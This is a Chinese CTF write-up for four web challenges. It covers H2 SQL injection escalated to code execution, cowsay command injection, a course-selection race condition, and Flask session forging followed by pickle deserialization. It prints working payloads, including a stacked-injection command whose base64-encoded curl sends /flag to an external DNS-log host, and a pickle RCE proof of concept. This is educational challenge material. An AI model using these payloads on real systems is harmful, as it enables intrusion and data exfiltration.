search4member

又是一道java题,果然现在的web全是java
这道题目我们需要先审计源码,一开始我看的了下面的这段代码

发现了sql注入,于是我狠狠的注入了进去,结果发现表都是null,只注出来了数据库H2,于是我就在网上查了一下。
发现H2数据库的漏洞还不少,最典型的就是存在sql注入时可以将sql注入升级成RCE。
原因是H2数据库允许用户定义函数名,可以执行java代码,那么我们只要能够RCE的代码别名后再使用CALL调用即可进行RCE

1
2
3
4
CREATE ALIAS EXEC AS 
$$ void e(String cmd) throws java.io.IOException
{java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}$$
CALL EXEC('whoami');

即如果再对H2数据库使用以上语句就会执行whoami。但是再执行时发现如果存在{网页会崩。
由于CREATE ALIAS指令可以使用字符串(String)作为源代码(也就是直接将字符串当成代码执行),因此我们可以成功绕过这个限制。这意味着我们不需要使用$符号,可以使用内置的SQL函数来编码我们的payload。
1
1';CREATE ALIAS EXEC AS CONCAT('void e(String cmd) throws java.io.IOException', HEXTORAW('007b'),'java.lang.Runtime rt= java.lang.Runtime.getRuntime(); rt.exec(cmd);',HEXTORAW('007d')); CALL EXEC('bash -c {echo,Y3VybCAgaHR0cDovL2BjYXQgL2ZsYWdgLjhsazlqMi5jZXllLmlvLw==}|{base64,-d}|{bash,-i}');--+

下面我们来分析一下payload首先我们使用堆叠注入,这样使得我们的语句可以被执行,但是由于该题使用的sql查询函数,只会返回第一个查询的对象,所以虽然将所有查询都执行了,但是其无法回显。所以我们需要使用反弹shell,使用DNS通道来带出指令。
一开始我是准备使用
1
curl http://`cat /flag` xxxxxx.dnslog.xx

来进行dns外带的,结果发现,无法外带,查了一下才发现,我们使用的是exec还是来进行命令执行而反引号``是liunx的shell才能使用的,使用我们使用了bash -c {echo,Y3VybCAgaHR0cDovL2BjYXQgL2ZsYWdgLjhsazlqMi5jZXllLmlvLw==}|{base64,-d}|{bash,-i}这句代码使用了bash -c将后面的当成bash代码执行,而后面的base64编码前的内容是curl http://`cat /flag` xxxxxx.dnslog.xx。我们使用管道符将bash64编码的内容进行解密传输执行。最后就成功外带了。

What the cow say?

这道题目我个人感觉是两周来比较简单的题目了。
我们首先查一下什么是cow say发现其再是一个linux的指令,我们输入什么其返回什么,那么我们尝试一些可不可以直接rce,发现其可以rce,那么接下来结束绕waf了
payload

1
`tac /fl*/fl*`

Select More Courses

打开靶场,发现要登陆其用户已经给了,所以我们直接爆破,这道题目比较烦的就是这个爆破,我换了好几个字典才爆破出来。

点开其要求我们帮忙选课,但是其学分修满了就需要使用扩学分,但是绩点不足无法修,但是提示你需要与时间赛跑,那么我们可以猜测其应该为条件竞争。
其后端大概为先开启扩学分,后检测其绩点的多少,最后不足删除,这是我们就可以使用bp进行重复发生扩学分请求,再选课即可。

myflask

我们查看源码,发现其ssion是使用时间戳进行标签的,这时候我们就可以使用工具进行伪造ssion,时间戳就是我们开启靶机的时间。
伪造好后就是pickle-rce
poc如下

1
2
3
4
5
6
7
8
9
10
import pickle
import base64

class A(object):
def __reduce__(self):
return (eval, ("__import__('os').popen('tac /flag').read()",))

a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

1
gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbigndGFjIC9mbGFnJykucmVhZCgplIWUUpQu